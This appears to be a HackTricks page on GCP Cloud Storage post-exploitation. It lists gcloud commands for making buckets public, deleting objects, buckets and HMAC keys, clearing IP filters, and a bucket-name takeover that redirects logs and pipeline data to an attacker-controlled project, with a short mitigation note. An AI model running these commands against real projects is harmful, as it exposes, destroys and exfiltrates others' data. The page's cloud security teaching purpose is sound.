GCP - Storage Post Exploitation
Cloud Storage
For more information about Cloud Storage check this page:
Give Public Access
It's possible to give external users (logged in GCP or not) access to bucket content. When public access prevention is enforced directly or inherited from an organization policy, public IAM and ACL grants are blocked. The first command below changes the bucket setting to inherited; an organization policy can still enforce prevention.[1][2]
# Disable public prevention
gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
# Make all objects in a bucket public
gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers --role=roles/storage.objectViewer
## I don't think you can make specific objects public just with IAM
# Make a bucket or object public (via ACL)
gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
The allUsers IAM grant makes all objects publicly readable. The ACL commands can make a bucket or individual object public only when uniform bucket-level access is not enabled; public access prevention overrides both mechanisms.[1][2][3]
If you try to give ACLs to a bucket with disabled ACLs you will find this error: ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access[3]
To access open buckets via browser, access the URL https://<bucket_name>.storage.googleapis.com/ or https://<bucket_name>.storage.googleapis.com/<object_name>.[4]
storage.objects.delete (storage.objects.get)
To delete an object:
gcloud storage rm gs://<BUCKET_NAME>/<OBJECT_NAME> --project=<PROJECT_ID>
storage.objects.delete is the permission that deletes objects; storage.objects.get instead reads object data and metadata. The command above uses the documented object URL form.[5][6]
storage.buckets.delete, storage.objects.delete & storage.objects.list
To delete a bucket:
gcloud storage rm -r gs://<BUCKET_NAME>
The recursive form deletes the bucket's objects, including versions, before deleting the bucket. The permissions named above correspond to bucket deletion, object deletion, and object listing.[5][6]
Global bucket name takeover of upstream writers
Cloud Storage bucket names are globally unique and can be reused after deletion. Before deleting a bucket, check whether any automated service keeps writing to that bucket by name. If the bucket is deleted and the same name is recreated in an attacker-controlled project, an upstream writer that still resolves its destination by name may continue writing future data to the replacement bucket. Unit 42 demonstrated this bucket-name redirection pattern for Cloud Logging, Pub/Sub, and Storage Transfer Service; Google Cloud has since changed Cloud Logging behavior so a sink stops routing when the destination bucket's parent project changes, so treat that variant as historical or conditional and verify the current behavior before relying on it.[7][8][9][10]
# Cloud Logging sinks using GCS
gcloud logging sinks list --project <PROJECT_ID> \
--format='table(name,destination,writerIdentity)'
# Pub/Sub subscriptions writing messages into GCS
gcloud pubsub subscriptions list --project <PROJECT_ID> \
--format='json(name,topic,cloudStorageConfig)'
# Storage Transfer Service jobs
gcloud transfer jobs list --project <PROJECT_ID>
# Delete and reclaim the destination bucket name
gcloud storage rm -r gs://<BUCKET_NAME>
gcloud storage buckets create gs://<BUCKET_NAME> \
--project <ATTACKER_PROJECT_ID> \
--location <LOCATION>
Grant the relevant writer identity access to the replacement bucket if the upstream service requires it:
gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
--member='<WRITER_IDENTITY_MEMBER>' \
--role='roles/storage.objectCreator' \
--project <ATTACKER_PROJECT_ID>
The listing commands use the documented Cloud Logging, Pub/Sub, and Storage Transfer Service CLI operations. Cloud Logging sinks, Pub/Sub Cloud Storage subscriptions, and Storage Transfer Service jobs use service identities with destination write permissions, so a replacement bucket may also need an appropriate binding before delivery succeeds.[9][11][12][13][14][15][16][17]
The roles/storage.objectCreator binding shown above is suitable for writers that only need to create objects, such as the Cloud Logging and Pub/Sub examples. Current Storage Transfer Service guidance uses roles/storage.legacyBucketWriter on the destination bucket instead; verify the service-specific requirement before granting access.[9][11][12]
Potential Impact: long-term exfiltration of logs, messages, transfer outputs, backups, or data pipeline artifacts without modifying the original router resource.[7][9][12]
Detection & Mitigation: treat bucket deletion as high risk when the bucket is referenced by sinks/subscriptions/jobs, alert on dangling destinations, restrict storage.buckets.delete, and use retention policies or legal holds for critical export buckets when appropriate.
Deactivate HMAC Keys
The storage.hmacKeys.update permission allows changing an HMAC key's state, and storage.hmacKeys.delete allows deleting HMAC keys associated with service accounts. Both permissions apply at the project level.[5][18][19]
# Deactivate
gcloud storage hmac update <ACCESS_ID> --deactivate
# Delete
gcloud storage hmac delete <ACCESS_ID>
An HMAC key must be inactive before it can be deleted, and deletion is permanent; the two commands above perform those operations in the required order.[19][20][21]
storage.buckets.setIpFilter & storage.buckets.update
The storage.buckets.setIpFilter permission, together with the storage.buckets.update permission, allows an identity to configure IP address filters on a Cloud Storage bucket, specifying which IP ranges or addresses are allowed to access the bucket's resources.[5]
To completely clear the IP filter, use the explicit clear flag:[22]
# Clear the existing IP filter explicitly:
gcloud storage buckets update gs://<BUCKET_NAME> \
--clear-ip-filter \
--project=<PROJECT_ID>
To change the filtered IPs, the following command can be used:
gcloud storage buckets update gs://<BUCKET_NAME> \
--ip-filter-file=ip-filter.json \
--project=<PROJECT_ID>
The JSON file represents the filter itself, something like:
{
"mode": "Enabled",
"publicNetworkSource": {
"allowedIpCidrRanges": ["<IP>/<MASK>"]
},
"allowCrossOrgVpcs": false,
"allowAllServiceAgentAccess": false
}
--clear-ip-filter removes the existing filter, while --ip-filter-file applies the JSON configuration shown above. The ipFilter resource uses the same fields for public ranges, cross-organization VPCs, and service-agent access.[22][23]
storage.buckets.restore
Restore a bucket using:
gcloud storage restore gs://<BUCKET_NAME>#<GENERATION> \
--project=<PROJECT_ID>
This restores a soft-deleted bucket generation; storage.buckets.restore is the corresponding IAM permission. The CLI restores the empty bucket only, so restore its objects separately when needed.[5][24][25]
References
- [1] Public access prevention
- [2] Make data public
- [3] Uniform bucket-level access
- [4] Request endpoints
- [5] IAM permissions for Cloud Storage
- [6] gcloud storage rm
- [7] The Global Namespace Risk: Universal Bucket Hijacking Technique for Cloud Data Exfiltration
- [8] About Cloud Storage buckets
- [9] Create Cloud Storage subscriptions
- [10] Logging release notes
- [11] Route logs to supported destinations
- [12] Agentless transfer permissions
- [13] gcloud logging sinks list
- [14] gcloud pubsub subscriptions list
- [15] gcloud transfer jobs list
- [16] gcloud storage buckets create
- [17] gcloud storage buckets add-iam-policy-binding
- [18] Projects.hmacKeys: update
- [19] Projects.hmacKeys: delete
- [20] gcloud storage hmac update
- [21] gcloud storage hmac delete
- [22] gcloud storage buckets update
- [23] Buckets
- [24] gcloud storage restore
- [25] Soft delete overview
[!TIP] Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Browse the full HackTricks Training catalog.Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.


